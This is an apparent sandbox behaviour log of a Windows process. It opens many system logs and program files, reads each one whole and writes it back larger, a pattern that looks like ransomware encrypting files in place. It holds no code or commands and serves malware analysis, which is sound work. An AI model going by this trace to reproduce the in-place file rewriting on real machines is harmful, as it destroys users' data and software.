File	Write	filename = C:\Users\FD1HVy\Pictures\GrlY8zmzECSobnYyDGDm.jpg, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-MUI%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-MUI%4Operational.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-MUI%4Operational.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-MUI%4Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-MUI%4Operational.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-Shell-Core%4ActionCenter.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-Shell-Core%4ActionCenter.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-Shell-Core%4ActionCenter.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Shell-Core%4ActionCenter.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Shell-Core%4ActionCenter.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-TaskScheduler%4Maintenance.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-TaskScheduler%4Maintenance.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-TaskScheduler%4Maintenance.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-TaskScheduler%4Maintenance.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-TaskScheduler%4Maintenance.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\Microsoft-Windows-Wcmsvc%4Operational.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\Microsoft-Windows-Wcmsvc%4Operational.evtx, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Logs\Microsoft-Windows-Wcmsvc%4Operational.evtx, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Wcmsvc%4Operational.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\Microsoft-Windows-Wcmsvc%4Operational.evtx, size = 16384	1	Fn Data
File	Create	filename = C:\Logs\System.evtx, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Logs\System.evtx, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\Logs\System.evtx, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Logs\System.evtx, size = 5512	1	Fn Data
File	Write	filename = C:\Logs\System.evtx, size = 61440	1	Fn Data
File	Write	filename = C:\Logs\System.evtx, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\bin\jjs.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\bin\jjs.exe, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\jjs.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\jjs.exe, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\bin\rmiregistry.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\bin\rmiregistry.exe, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\rmiregistry.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\bin\rmiregistry.exe, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\calendars.properties, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\calendars.properties, size = 1378, size_out = 1378	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\calendars.properties, size = 2794	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages.properties, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages.properties, size = 2860, size_out = 2860	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages.properties, size = 4276	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_zh_HK.properties, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_zh_HK.properties, size = 3752, size_out = 3752	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\messages_zh_HK.properties, size = 5168	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\jaccess.jar, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\jaccess.jar, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\jaccess.jar, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\jaccess.jar, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\ext\jaccess.jar, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\flavormap.properties, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\flavormap.properties, size = 3928, size_out = 3928	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\flavormap.properties, size = 5344	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaTypewriterRegular.ttf, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaTypewriterRegular.ttf, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaTypewriterRegular.ttf, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaTypewriterRegular.ttf, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\fonts\LucidaTypewriterRegular.ttf, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\javafx.properties, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\javafx.properties, size = 56, size_out = 56	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\javafx.properties, size = 1472	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\management\jmxremote.access, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\management\jmxremote.access, size = 3998, size_out = 3998	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\management\jmxremote.access, size = 5414	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\resources.jar, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\resources.jar, size = 61440, size_out = 61440	2	Fn Data
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\resources.jar, size = 8192, size_out = 8192	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\resources.jar, size = 9608	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\resources.jar, size = 61440	2	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\resources.jar, size = 8192	1	Fn Data
File	Create	filename = C:\Program Files\Java\jre1.8.0_144\lib\sound.properties, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Java\jre1.8.0_144\lib\sound.properties, size = 1210, size_out = 1210	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\sound.properties, size = 2626	1	Fn Data
File	Create	filename = C:\Program Files\Microsoft Office 15\ClientX64\OfficeClickToRun.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Microsoft Office 15\ClientX64\OfficeClickToRun.exe, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\Program Files\Microsoft Office 15\ClientX64\OfficeClickToRun.exe, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Microsoft Office 15\ClientX64\OfficeClickToRun.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Microsoft Office 15\ClientX64\OfficeClickToRun.exe, size = 61440	1	Fn Data
File	Write	filename = C:\Program Files\Microsoft Office 15\ClientX64\OfficeClickToRun.exe, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\browser\features\screenshots@mozilla.org.xpi, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\browser\features\screenshots@mozilla.org.xpi, size = 61440, size_out = 61440	1	Fn Data
File	Read	filename = C:\Program Files\Mozilla Firefox\browser\features\screenshots@mozilla.org.xpi, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\browser\features\screenshots@mozilla.org.xpi, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\browser\features\screenshots@mozilla.org.xpi, size = 61440	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\browser\features\screenshots@mozilla.org.xpi, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\dictionaries\en-US.aff, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\dictionaries\en-US.aff, size = 3074, size_out = 3074	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\dictionaries\en-US.aff, size = 4490	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\omni.ja, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\omni.ja, size = 61440, size_out = 61440	8	Fn Data
File	Read	filename = C:\Program Files\Mozilla Firefox\omni.ja, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files\Mozilla Firefox\omni.ja, size = 8192, size_out = 8192	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\omni.ja, size = 9608	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\omni.ja, size = 61440	8	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\omni.ja, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files\Mozilla Firefox\update-settings.ini, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\Mozilla Firefox\update-settings.ini, size = 132, size_out = 132	1	Fn Data
File	Write	filename = C:\Program Files\Mozilla Firefox\update-settings.ini, size = 1548	1	Fn Data
File	Create	filename = C:\Program Files\rempl\Logs\Remediation.003.etl, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\rempl\Logs\Remediation.003.etl, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\rempl\Logs\Remediation.003.etl, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\rempl\Logs\Remediation.003.etl, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\rempl\Logs\Remediation.003.etl, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\de-AT\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\de-AT\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\de-AT\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\de-AT\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\de-AT\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-IN\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-IN\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-IN\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-IN\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\en-IN\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-MX\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-MX\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-MX\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-MX\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\es-MX\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-XF\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-XF\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-XF\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-XF\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\fr-XF\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\LanguageSelector.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\LanguageSelector.js, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\LanguageSelector.js, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\LanguageSelector.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\LanguageSelector.js, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\pl-PL\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\pl-PL\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\pl-PL\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\pl-PL\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\pl-PL\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\style.min.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\style.min.css, size = 4226, size_out = 4226	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\resources\style.min.css, size = 5642	1	Fn Data
File	Create	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\sv-SE\index.html, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\sv-SE\index.html, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\sv-SE\index.html, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\sv-SE\index.html, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\CampaignManager\Campaigns\{91be532c-f9f1-406a-9858-43697c6f437a}\Content1\sv-SE\index.html, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.003.etl, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.003.etl, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.003.etl, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.003.etl, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files\UNP\Logs\UniversalNotificationPlatform.003.etl, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files\Windows Defender Advanced Threat Protection\en-US\MsSense.exe.mui, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
File	Get Info	filename = C:\Program Files\Windows Defender Advanced Threat Protection\en-US\MsSense.exe.mui, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files\Windows Photo Viewer\en-US\PhotoAcq.dll.mui, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
File	Get Info	filename = C:\Program Files\Windows Photo Viewer\en-US\PhotoAcq.dll.mui, type = file_attributes	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Combine_R_RHP.aapp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Combine_R_RHP.aapp, size = 412, size_out = 412	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\Combine_R_RHP.aapp, size = 1828	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\FillSign.aapp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\FillSign.aapp, size = 2685, size_out = 2685	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\FillSign.aapp, size = 4101	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\TrackedSend.aapp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\TrackedSend.aapp, size = 386, size_out = 386	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroApp\ENU\TrackedSend.aapp, size = 1802	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ADelRCP.exe, size = 32768	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Legal\ENU\eula.ini, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Legal\ENU\eula.ini, size = 1040, size_out = 1040	1	Fn Data
File	Write	filename = C:\Program Files\Java\jre1.8.0_144\lib\deploy\splash@2x.gif, size = 2456	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annots.api, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annots.api, size = 61440, size_out = 61440	2	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annots.api, size = 8192, size_out = 8192	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annots.api, size = 9608	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annots.api, size = 61440	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Annots.api, size = 8192	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\Multimedia\MPP\MCIMPP.mpp, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
